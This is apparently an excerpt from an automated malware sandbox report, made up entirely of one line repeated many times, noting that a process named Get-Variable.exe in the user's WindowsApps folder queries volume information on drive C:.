Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
